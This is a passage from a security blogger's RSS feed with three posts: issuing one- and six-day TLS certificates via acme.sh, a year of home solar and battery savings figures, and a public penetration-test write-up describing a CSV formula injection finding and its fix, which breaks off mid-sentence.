obtain short-lived certificates, and they have a little more flexibility in that you can request a specific number of days too. Maybe you want 6 days, 12 days, 33 days... Just specify your desired validity period in the request with your ACME client:</p><pre><code>acme.sh --issue --dns dns_cf -d six-days.scotthelme.co.uk --keylength ec-256 --server https://dv.acme-v02.api.pki.goog/directory --extended-key-usage serverAuth --valid-to &apos;+6d&apos;</code></pre><p></p><p>That&apos;s another source of 6-day certificates for you, but it did get me wondering.</p><p></p><h4 id="how-low-can-you-go">How low can you go?..</h4><p>Well, fellow certificate nerds, you read my mind!</p><p>The Let&apos;s Encrypt <code>shortlived</code> profile doesn&apos;t allow for configurable validity periods, none of their profiles do, but GTS does allow for configuration of the validity period... &#x1F60E;</p><pre><code>acme.sh --issue --dns dns_cf -d one.scotthelme.co.uk --keylength ec-256 --server https://dv.acme-v02.api.pki.goog/directory --extended-key-usage serverAuth --valid-to &apos;+1d&apos;</code></pre><p></p><p>Yes, that command does work, and yes you do get a <strong>ONE-DAY CERTIFICATE</strong>!!</p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-1.png" class="kg-image" alt="Blink and you&apos;ll miss them: 6-day certificates are here!" loading="lazy" width="936" height="608" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-1.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-1.png 936w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Just to prove that this really is a thing, here&apos;s the PEM encoded certificate!</p><pre><code>-----BEGIN CERTIFICATE-----
    MIIDdTCCAl2gAwIBAgIQAzk1h8YknV4TAJJazYXsrjANBgkqhkiG9w0BAQsFADA7
    MQswCQYDVQQGEwJVUzEeMBwGA1UEChMVR29vZ2xlIFRydXN0IFNlcnZpY2VzMQww
    CgYDVQQDEwNXUjEwHhcNMjUxMjE3MjEzNjE1WhcNMjUxMjE4MjIzNjExWjAfMR0w
    GwYDVQQDExRvbmUuc2NvdHRoZWxtZS5jby51azBZMBMGByqGSM49AgEGCCqGSM49
    AwEHA0IABN77LaCQqPHQ1Qx4CsEyiEVARRV5WP+qH9ZyLfO9GzJ+tLfDxROHvYPL
    YNaCgEiGBbkTOOPOX9qXJPz/g/2AQRejggFaMIIBVjAOBgNVHQ8BAf8EBAMCB4Aw
    EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUPnLq
    WpoXyBO+jzNGlH1qUr6SYHkwHwYDVR0jBBgwFoAUZmlJ1N4qnJEDz4kOJLgOMANu
    iC4wXgYIKwYBBQUHAQEEUjBQMCcGCCsGAQUFBzABhhtodHRwOi8vby5wa2kuZ29v
    Zy9zL3dyMS9BemswJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMS5j
    cnQwHwYDVR0RBBgwFoIUb25lLnNjb3R0aGVsbWUuY28udWswEwYDVR0gBAwwCjAI
    BgZngQwBAgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3Ix
    L0FwMDR2SjA1Q3lBLmNybDATBgorBgEEAdZ5AgQDAQH/BAIFADANBgkqhkiG9w0B
    AQsFAAOCAQEAMsMT7AsLtQqzm0FSsDBq33M9/FAz+Su86NQurk8MXXrSjUrdSKhh
    zTv2whJcC0W3aPhoqMeeqpsLYQ4AiLgBS2LPoJz2HuFsIfOddrpI3lOHXssT2Wpc
    MjofbwEOfkDk+jV/rqbz1q+cjbM2VGfoxILgcA7KxVZX0ylvZf52c2zpA9v+sXKu
    pPFKHHDX2UNSfsPODmWLVWdfFk/ZFbr09urei8ZgdsJhRKABD9BW3aV8QP2dMISh
    OH6fWcJXrp/w1NjJqIKidMiMgaCe5TDb+j5gOJ+ZLVcKA4WdLtcVYpQIXiT8mIeO
    rCYNVSkFN4ZIONedfENemM5GgBqcqbpxMA==
    -----END CERTIFICATE-----</code></pre><p></p><h4 id="automation-is-king">Automation is King</h4><p>The great thing about this, and I&apos;ve been using these certs for weeks now, is that once you&apos;re using an ACME client, you&apos;re already automated, and once you&apos;re automated, the validity period really isn&apos;t relevant any more. I&apos;m currently sticking with the 6-day certs, and I will alternate between Let&apos;s Encrypt and Google Trust Services, but running these automations more frequently to go from 90 days down to 6 days really doesn&apos;t change anything at all, so give it a try!</p><p></p>]]></content:encoded></item><item><title><![CDATA[What a Year of Solar and Batteries Really Saved Us in 2025]]></title><description><![CDATA[<p>Throughout 2025, I spoke a few times about our home energy solution, including our grid usage, our solar array and our Tesla Powerwall batteries. Now that I have a full year of data, I wanted to take a look at exactly how everything is working out, and, in alignment with</p>]]></description><link>https://scotthelme.ghost.io/what-a-year-of-solar-and-batteries-really-saved-us-in-2025/</link><guid isPermaLink="false">6962376aa2de7d0001fa2a36</guid><category><![CDATA[Tesla Powerwall]]></category><category><![CDATA[Solar Power]]></category><category><![CDATA[Octopus Energy]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 13 Jan 2026 11:24:31 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2026/01/2025-energy.webp" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2026/01/2025-energy.webp" alt="What a Year of Solar and Batteries Really Saved Us in 2025"><p>Throughout 2025, I spoke a few times about our home energy solution, including our grid usage, our solar array and our Tesla Powerwall batteries. Now that I have a full year of data, I wanted to take a look at exactly how everything is working out, and, in alignment with our objectives, how much money we&apos;ve saved!</p><p></p><h4 id="our-setup">Our setup</h4><p>Just to give a quick overview of what we&apos;re working with, here are the details on our solar, battery and tariff situation:</p><ul><li>&#x2600;&#xFE0F;Solar Panels: We have 14x Perlight solar panels managed by Enphase that make up the 4.2kWp array on our roof, and they produce energy when the sun shines, which isn&apos;t as often as I&apos;d like in the UK!</li><li>&#x1F50B;Tesla Powerwalls: We have 3x Tesla Powerwall 2 in our garage that were purchased to help us load-shift our energy usage. Electricity is very expensive in the UK and moving from peak usage which is 05:30 to 23:30 at ~&#xA3;0.28/kWh, to off-peak usage, which is 23:30 - 05:30 at ~&#xA3;0.07/kWh, is a significant cost saving.</li><li>&#x1F4A1;Smart Tariff: My wife and I both drive electric cars and our electricity provider, Octopus Energy, has a Smart Charging tariff. If we plug in one of our cars, and cheap electricity is available, they will activate the charger and allow us to use the off-peak rate, even at peak times.</li></ul><p></p><p>Now that we have some basic info, let&apos;s get into the details!</p><p></p><h4 id="grid-import">Grid Import</h4><p>I have 3 sources of data for our grid import, and all of them align pretty well in terms of their measurements. I have the amount our electricity supplier charged us for, I have my own CT Clamp going via a Shelly EM that feeds in to Home Assistant, and I have the Tesla Gateway which controls all grid import into our home.</p><p>Starting with my Home Assistant data, these are the relevant readings. </p><p>Jan 1st 2025 - 15,106.10 kWh<br>Dec 31st 2025 - 36,680.90 kWh<br>Total: 21,574.80 kWh<br><strong>Total Import: 21.6 MWh</strong></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-3.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1138" height="503" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-3.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-3.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-3.png 1138w" sizes="(min-width: 720px) 720px"></figure><p></p><p>As you can see in the graph, during the summer months we have slightly lower grid usage and the graph line climbs at a lower rate, but overall, we have pretty consistent usage. Looking at what our energy supplier charged, us for, that comes in slightly lower.</p><p><strong>Total Import: 20.1 MWh</strong></p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-8.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="997" height="577" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-8.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-8.png 997w" sizes="(min-width: 720px) 720px"></figure><p></p><p>I&apos;m going to use the figure provided by our energy supplier in my calculations because their equipment is likely more accurate than mine, and also, what they&apos;re charging me is the ultimate thing that matters. The final source is our Tesla Gateway, which shows us having imported 21.0 MWh.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-11.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1290" height="1568" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-11.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-11.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-11.png 1290w" sizes="(min-width: 720px) 720px"></figure><p></p><p>It&apos;s great to see how all of these sources of data align so poorly! &#x1F605;</p><h4 id="grid-export">Grid Export</h4><p>Looking at our export, the graph tells a slightly different story because, as you can see, we didn&apos;t really start exporting properly until June, when our export tariff was activated. Prior to June, it simply wasn&apos;t worth exporting as we were only getting &#xA3;0.04/kWh but at the end of May, our export tariff went live and we were then getting paid &#xA3;0.15/kWh for export. My <a href="https://scotthelme.co.uk/automation-improvements-after-a-tesla-powerwall-outage/?ref=scotthelme.ghost.io" rel="noreferrer">first</a> and <a href="https://scotthelme.co.uk/v2-hacking-my-tesla-powerwalls-to-be-the-ultimate-home-energy-solution/?ref=scotthelme.ghost.io" rel="noreferrer">second</a> blog posts cover the full details of this change when it happened if you&apos;d like to read them but for now, just note that it will change the calculations a little later as we only had export for 60% of the year.</p><p><strong>Total Export: 6.0 MWh</strong></p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-9.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="989" height="582" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-9.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-9.png 989w" sizes="(min-width: 720px) 720px"></figure><p></p><p>With our grid export covered the final piece of the puzzle is to look at our solar.</p><p></p><h4 id="solar-production">Solar Production</h4><p>We&apos;re really not in the best part of the world for generating solar power, but we&apos;ve still managed to produce quite a bit of power. Even in the most ideal, perfect scenario, our solar array can only generate 4.2kW of power, and we&apos;re definitely never getting near that. Our peak production was 2.841kW on 8th July at 13:00, and you can see our full annual production graph here. </p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-12.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1582" height="513" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-12.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-12.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-12.png 1582w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Looking at the total energy production for the entire array, you can see it pick up through the sunnier months but remain quite flat during the darker days of the year.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-2.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1132" height="504" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-2.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-2.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-2.png 1132w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Jan 1st 2025 - 2.709 MWh<br>Dec 31st 2025 - 5.874 MWh<br><strong>Solar Production: 3.2 MWh</strong></p><p></p><p>Just to confirm, I also took a look at the Enphase app, which is drawing it&apos;s data from the same source to be fair, and it agrees with the 3.2 MWh of generation.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-4.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="1157" height="560" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-4.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2026/01/image-4.png 1000w, https://scotthelme.ghost.io/content/images/2026/01/image-4.png 1157w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="calculating-the-savings">Calculating the savings</h4><p>This isn&apos;t exactly straightforward because of the combination of our solar array and excess import/export due to the batteries, but here are the numbers I&apos;m currently working on.</p><p><strong>Total Import: 20.1 MWh<br>Total Export: 6.0 MWh<br>Solar Production: 3.2 MWh</strong></p><p></p><p>That gives us a total household usage of 17.3 MWh.</p><p>(20.1 MWh import + 3.2 MWh solar) &#x2212; 6.0 MWh export = 17.3 MWh usage</p><p>If we didn&apos;t have the solar array providing power, the full 17.3 MWh of consumption would have been chargeable from our provider. If we had only the solar and no battery, assuming a perfect ability to utilise our solar generation, only 14.1 MWh of our usage would need to be imported. The cost of those units of solar generation can be viewed at the peak and off-peak rates as follows.</p><p>Peak rate: 3,200 kWh x &#xA3;0.28/kWh = &#xA3;896<br>Off-peak rate: 3,200 kWh x &#xA3;0.07/kWh = &#xA3;224</p><p>Given that solar panels only produce during peak electricity rates, it would be reasonable to use the higher price here. A consideration for us though is that we do have batteries, and we&apos;re able to load-shift all of our usage into the off-peak rate, so arguably the solar panels only made &#xA3;224 of electricity. </p><p>The bigger savings come when we start to look at the cost of the grid import. Assuming we had no solar panels, we&apos;d have imported 17.3 MWh of electricity, and with the solar panels and perfect utilisation, we&apos;d have imported 14.1 MWh of electricity. That&apos;s quite a lot of electricity and calculating the different costs of peak vs. off-peak by using batteries to load shift our usage gives some quite impressive results.</p><p>Peak rate: 17,300 kWh x &#xA3;0.28/kWh = &#xA3;4,844<br>Peak rate with solar: 14,100 kWh x &#xA3;0.28 = &#xA3;3,948</p><p>Off-peak rate: 17,300 kWh x &#xA3;0.07/kWh = &#xA3;1,211<br>Off-peak rate with solar: 14,100 kWh x &#xA3;0.07/kWh = &#xA3;987</p><p>This means there&apos;s a potential swing from &#xA3;4,844 down to &#xA3;987 with solar and battery, a total potential saving of &#xA3;3,857!</p><p>This also tracks if we look at our monthly spend on electricity which went from &#xA3;350-&#xA3;400 per month down to &#xA3;50-&#xA3;100 per month depending on the time of year. But it gets better.</p><p></p><h4 id="exporting-excess-energy">Exporting excess energy</h4><p>Our solar array generates almost nothing in the winter months so our batteries are sized to allow for a full day of usage with basically no solar support. We can go from the start of the peak rate at 05:30 all the way to the off-peak rate at 23:30 without using any grid power. When it comes to the summer months, though, our solar array is producing a lot of power and we clearly have a capability to export a lot more. The batteries can fill up on the off-peak rate overnight at &#xA3;0.07/kWh, and then export it during the peak rate for &#xA3;0.15/kWh, meaning any excess solar production or battery capacity can be exported for a reasonable amount.</p><p>If we take a look at the billing information from our energy supplier, we can see that during July, our best month for solar production, we exported a lot of energy. We exported so much energy that it actually fully offset our electricity costs and allowed us to go negative, meaning we were earning money back.</p><p>Here is our electricity import data:</p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-7.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="988" height="623" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-7.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-7.png 988w" sizes="(min-width: 720px) 720px"></figure><p></p><p>And here is our electricity export data:</p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2026/01/image-6.png" class="kg-image" alt="What a Year of Solar and Batteries Really Saved Us in 2025" loading="lazy" width="983" height="706" srcset="https://scotthelme.ghost.io/content/images/size/w600/2026/01/image-6.png 600w, https://scotthelme.ghost.io/content/images/2026/01/image-6.png 983w" sizes="(min-width: 720px) 720px"></figure><p></p><p>That&apos;s a pretty epic scenario, despite us being such high energy consumers, to still have the ability to fully cover our costs and even earn something back! For clarity, we will still have the standing charge component of our bill, which is &#xA3;0.45/day so about &#xA3;13.50 per month to go on any given month, but looking at the raw energy costs, it&apos;s impressive.</p><p></p><h4 id="the-final-calculation">The final calculation</h4><p>I pulled all of our charges for electricity in 2025 to see just how close my calculations were and to double check everything I was thinking. Earlier, I gave these figures:</p><p>Off-peak rate: 17,300 kWh x &#xA3;0.07/kWh = &#xA3;1,211</p><p>If 100% of our electricity usage was at the off-peak rate, we should have paid &#xA3;1,211 for the year. Adding up all of our monthly charges, our total for the year was &#xA3;1,608.11 all in, but we need to subtract our standing charge from that.</p><p>Total cost = &#xA3;1,608.11 - (365 * &#xA3;0.45)<br><strong>Total import = &#xA3;1,443.86</strong></p><p></p><p>This means that we got almost all of our usage at the off-peak rate which is an awesome achievement! After the charges for electricity, I then tallied up all of our payments for export.</p><p><strong>Total export = &#xA3;886.49</strong></p><p></p><p>Another pretty impressive achievement, earning so much in export, which also helps to bring our net electricity cost in 2025 to <strong>&#xA3;557.37</strong>! To put this another way, the effective rate of our electricity is now just &#xA3;0.03/kWh.</p><p>&#xA3;557.37 / 17,300kWh = <strong>&#xA3;0.03/kWh</strong></p><p></p><h4 id="but-was-it-all-worth-it">But was it all worth it?</h4><p>That&apos;s a tricky question to answer, and everyone will have different objectives and desired outcomes, but ours was pretty clear. Running two Electric Vehicles, having two adults working from home full time, me having servers and equipment at home, along with a power hungry hot tub, we were spending too much per month in electricity alone, and our goal was to reduce that.</p><p>Of course, it only makes sense to spend money reducing our costs if we reduce them enough to pay back the investment in the long term, and things are looking good so far. Here are the costs for our installations:</p><p></p><p>&#xA3;17,580 - Powerwalls #1 and #2 installed.<br>&#xA3;13,940 - Solar array installed.<br>&#xA3;7,840  - Powerwall #3 installed.<br>Total cost = &#xA3;39,360</p><p></p><p>If we assume even a generous 2/3 - 1/3 split between peak and off-peak usage, with no Powerwalls or solar array, our electricity costs for 2025 would have been &#xA3;3,632.86:</p><p>11,533 kWh x &#xA3;0.28/kWh = &#xA3;3,229.24<br>5,766 kWh x &#xA3;0.07/kWh = &#xA3;403.62<br>Total = &#xA3;3,632.86</p><p></p><p>Instead, our costs were only &#xA3;557.37, meaning we saved &#xA3;3,078.49 this year. We also only had export capabilities for 7 months of 2025, so in 2026 when we will have 12 months of export capabilities, we should further reduce our costs. I anticipate that in 2026 our electricity costs for the year will be ~&#xA3;0, and that&apos;s our goal.</p><p>Having our full costs returned in ~11 years is definitely something we&apos;re happy with, and we&apos;ve also had protection against several power outages in our area along the way, which is a very nice bonus. Another way to look at this is that the investment is returning ~9%/year.</p><p></p><table>
    <thead>
    <tr>
    <th style="text-align:right">Year</th>
    <th style="text-align:right">Cumulative savings (&#xA3;)</th>
    <th style="text-align:right">ROI (%)</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td style="text-align:right">1</td>
    <td style="text-align:right">3,632.86</td>
    <td style="text-align:right">9.23%</td>
    </tr>
    <tr>
    <td style="text-align:right">2</td>
    <td style="text-align:right">7,265.72</td>
    <td style="text-align:right">18.46%</td>
    </tr>
    <tr>
    <td style="text-align:right">3</td>
    <td style="text-align:right">10,898.58</td>
    <td style="text-align:right">27.69%</td>
    </tr>
    <tr>
    <td style="text-align:right">4</td>
    <td style="text-align:right">14,531.44</td>
    <td style="text-align:right">36.92%</td>
    </tr>
    <tr>
    <td style="text-align:right">5</td>
    <td style="text-align:right">18,164.30</td>
    <td style="text-align:right">46.15%</td>
    </tr>
    <tr>
    <td style="text-align:right">6</td>
    <td style="text-align:right">21,797.16</td>
    <td style="text-align:right">55.38%</td>
    </tr>
    <tr>
    <td style="text-align:right">7</td>
    <td style="text-align:right">25,430.02</td>
    <td style="text-align:right">64.61%</td>
    </tr>
    <tr>
    <td style="text-align:right">8</td>
    <td style="text-align:right">29,062.88</td>
    <td style="text-align:right">73.84%</td>
    </tr>
    <tr>
    <td style="text-align:right">9</td>
    <td style="text-align:right">32,695.74</td>
    <td style="text-align:right">83.07%</td>
    </tr>
    <tr>
    <td style="text-align:right">10</td>
    <td style="text-align:right">36,328.60</td>
    <td style="text-align:right">92.30%</td>
    </tr>
    <tr>
    <td style="text-align:right">15</td>
    <td style="text-align:right">54,492.90</td>
    <td style="text-align:right">138.43%</td>
    </tr>
    <tr>
    <td style="text-align:right">20</td>
    <td style="text-align:right">72,657.20</td>
    <td style="text-align:right">184.61%</td>
    </tr>
    <tr>
    <td style="text-align:right">25</td>
    <td style="text-align:right">90,821.50</td>
    <td style="text-align:right">230.76%</td>
    </tr>
    </tbody>
    </table>
    <p> </p><p>Of course, at some point during that period, the effective value of the installation will reduce to almost &#xA3;0, and we have to consider that, but it&apos;s doing pretty darn good. If we hadn&apos;t needed to add that third Powerwall, this would have been so much better too. We&apos;ll see what the future holds, but with the inevitable and continued rise of energy costs, and talk of moving the standing charge on to our unit rate, things might look even better in the future.</p><p></p><h4 id="onwards-to-2026">Onwards to 2026!</h4><p>Now that we have everything properly set up, and I&apos;m happy with all of our Home Assistant automations, we&apos;re going to see how 2026 goes. I will definitely circle back in a year from now and see how the numbers played out, and until then, I hope the information here has been useful or interesting &#x1F44D;</p><p></p>]]></content:encoded></item><item><title><![CDATA[Report URI Penetration Test 2025]]></title><description><![CDATA[<p>Every year, just as we start to put up the Christmas Tree, we have another tradition at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> which is to conduct our annual penetration test! </p><p>&#x1F385;&#x1F384;&#x1F381; --&gt; &#x1FA7B;&#x1F510;&#x1F977;</p><p>This will be our 6th annual penetration test that we&apos;ve posted completely publicly,</p>]]></description><link>https://scotthelme.ghost.io/report-uri-penetration-test-2025/</link><guid isPermaLink="false">693822108d605500017a6622</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Penetration Test]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 15 Dec 2025 15:36:37 GMT</pubDate><media:content url="https://scotthelme.ghost.io/content/images/2025/12/report-uri-penetration-test.webp" medium="image"/><content:encoded><![CDATA[<img src="https://scotthelme.ghost.io/content/images/2025/12/report-uri-penetration-test.webp" alt="Report URI Penetration Test 2025"><p>Every year, just as we start to put up the Christmas Tree, we have another tradition at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> which is to conduct our annual penetration test! </p><p>&#x1F385;&#x1F384;&#x1F381; --&gt; &#x1FA7B;&#x1F510;&#x1F977;</p><p>This will be our 6th annual penetration test that we&apos;ve posted completely publicly, just as before, and we&apos;ll be covering a full run down of what was found and what we&apos;ve done about it. </p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://scotthelme.ghost.io/content/images/2025/12/image.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1915" height="356" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/12/image.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image.png 1000w, https://scotthelme.ghost.io/content/images/size/w1600/2025/12/image.png 1600w, https://scotthelme.ghost.io/content/images/2025/12/image.png 1915w" sizes="(min-width: 720px) 720px"></a></figure><h4 id="penetration-tests">Penetration Tests</h4><p>If you find this post interesting or would like to see our previous reports, then here are the links to each and every one of those!</p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2020/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2020</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2021/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2021</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2022/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2022</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2023/?ref=scotthelme.co.uk" rel="noreferrer">Report URI Penetration Test 2023</a></p><p><a href="https://scotthelme.co.uk/report-uri-penetration-test-2024/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI Penetration Test 2024</a></p><p></p><h4 id="the-results">The Results</h4><p>2025 has been another good year for us as we&apos;ve continued to focus on the security of our product, and the results of the test show that. Not only have we added a bunch of new features, we&apos;ve also made some significant changes to our infrastructure and made countless changes and improvements to existing functionality too. The tester had what was effectively an unlimited scope to target the application, a full &apos;guidebook&apos; on how to get up and running with our product and a demo call to ensure all required knowledge was handed over before the test. We wanted them to hit the ground running and waste no time getting stuck in.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/12/image-1.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="724" height="409" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-1.png 600w, https://scotthelme.ghost.io/content/images/2025/12/image-1.png 724w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Finding an Info rated issue, three Low rated and a Medium severity issue definitely gives us something to talk about, so let&apos;s look at that Medium severity first. </p><p></p><h4 id="csv-formula-injection">CSV Formula Injection</h4><p>The entire purpose of our service is to ingest user-generated data and then display that in some way. Every single telemetry report we process comes from either a browser or a mail server, and the entire content, whilst conforming to a certain schema, is essentially free in terms of the values of fields. We have historically focused on, and thus far prevented, XSS from creeping it&apos;s way in, but this bug takes a slightly different form. </p><p>Earlier this year, June 11th to be exact, we released a new feature that allowed for a raw export of telemetry data. This was a commonly requested feature from our customers and we provided two export formats for the data, the native JSON that telemetry is ingested in, or a CSV variant too. You can see the export feature being used here on CSP Reports.</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/12/image-2.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1553" height="543" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-2.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image-2.png 1000w, https://scotthelme.ghost.io/content/images/2025/12/image-2.png 1553w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Because the data export is a raw export, we are providing the telemetry payloads that we received from the browser or email server, just as you would have received them if you collected them yourself. It turns out that as these fields obviously contain user generated data, and you can do some trickery!</p><p>The specific example given by the tester uses a NEL report, but it&apos;s not a problem specific to NEL reports, it&apos;s possible across all of our telemetry. Looking at the example in the report, you can see how the tester crafted a specific payload:</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/12/image-3.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1005" height="671" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-3.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image-3.png 1000w, https://scotthelme.ghost.io/content/images/2025/12/image-3.png 1005w" sizes="(min-width: 720px) 720px"></figure><p></p><p>This <code>type</code> value contains an Excel command that will make it through to the CSV export as it represents the raw value sent by the client. The steps to leverage this are pretty convoluted, but I will quickly summarise them here by using an example if you want to target my good friend <a href="https://troyhunt.com/?ref=scotthelme.ghost.io" rel="noreferrer">Troy Hunt</a>, who runs <a href="https://haveibeenpwned.com/?ref=scotthelme.ghost.io" rel="noreferrer">Have I Been Pwned</a> which indeed uses Report URI.</p><ol><li>Identify the subdomain that Troy uses on our service, which is public information. </li><li>Send telemetry events to that endpoint with specifically crafted payloads which will be processed in to Troy&apos;s account.</li><li>Troy would then need to view that data in our UI, and for any reason wish to export that data as a CSV file. </li><li>Then, Troy would have to open that CSV file specifically in Excel, and bypass the two security warnings presented when opening the file. </li></ol><p></p><p>There are a couple of points in there that require some very specific actions from Troy, and the chances of all of those things happening are a little far-fetched, but still, we gave it a lot of consideration. The problem I had is that the export is raw, it&apos;s meant to be an export of what the browser or email server provided to us so you have a verbatim copy of the raw data. Sanitising that data is also tricky as there isn&apos;t a universal way to sanitise CSV because it depends on what application you&apos;re going to open it with, something I discovered when testing out our fix!</p><p></p><figure class="kg-card kg-image-card"><img src="https://scotthelme.ghost.io/content/images/2025/12/image-4.png" class="kg-image" alt="Report URI Penetration Test 2025" loading="lazy" width="1140" height="582" srcset="https://scotthelme.ghost.io/content/images/size/w600/2025/12/image-4.png 600w, https://scotthelme.ghost.io/content/images/size/w1000/2025/12/image-4.png 1000w, https://scotthelme.ghost.io/content/images/2025/12/image-4.png 1140w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Our current approach is to add a single quote to the start of the value if we detect that the first non-whitespace character is a potentially dangerous character, and that seems to have reliably solved the issue. I&apos;m happy to hear feedback on this approach, or alternative suggestions, so drop by the comments below if you can contribute!</p><p></p><h4 id="vulnerabilities-in-outdated-dependencies">Vulnerabilities in Outdated Dependencies </h4><p>Not again! Actually, I&apos;m pretty happy with the finding here, but I will explain both of the issues raised and what we did and didn&apos;t do about them. </p><h6 id="bootstrap-v3x">Bootstrap v3.x</h6><p>The last version of Bootstrap 3 was v3.4.1 which did have an XSS vulnerability present (<a href="https://security.snyk.io/package/npm/bootstrap/3.4.1?ref=scotthelme.ghost.io" rel="noreferrer">source</a>). We have since cloned v3.4.1 and patched it up to v3.4.4 ourselves to fix various issues that have been found, including the XSS issue raised here. The issue is still flagged in v3.x though, which is why it was flagged in our custom patched version, so in reality, there is no problem here and we&apos;re happy to keep using our own version. </p><h6 id="jquery-cookie-v141">jQuery Cookie v1.4.1</h6><p>Another tricky one because the Snyk data that we refer to lists no vulnerability in this library (<a href="https://security.snyk.io/package/npm/jquery.cookie/1.4.1?ref=scotthelme.ghost.io" rel="noreferrer">source</a>) which is why our own tooling hasn&apos;t flagged this to us. That said, the NVD does list a CVE for this version of the jQuery Cookie plugin (<a href="https://nvd.nist.gov/vuln/detail/cve-2022-23395?ref=scotthelme.ghost.io" rel="noreferrer">source</a>) but I can&apos;t find other data to back that up, including their own link to Snyk which doesn&apos;t list a vulnerability. Rather than spend too much time on this for what is a relatively simple plugin, we decided to remove it and implement the functionality that we need ourselves, solving the problem.</p><p></p><p>With both of those issues addressed, I&apos;m happy to say that we can consider this as resolved too.</p><p></p><h4 id="insufficient-session-expiration">Insufficient Session Expiration</h4><p>This issue has been raised previously in our <a 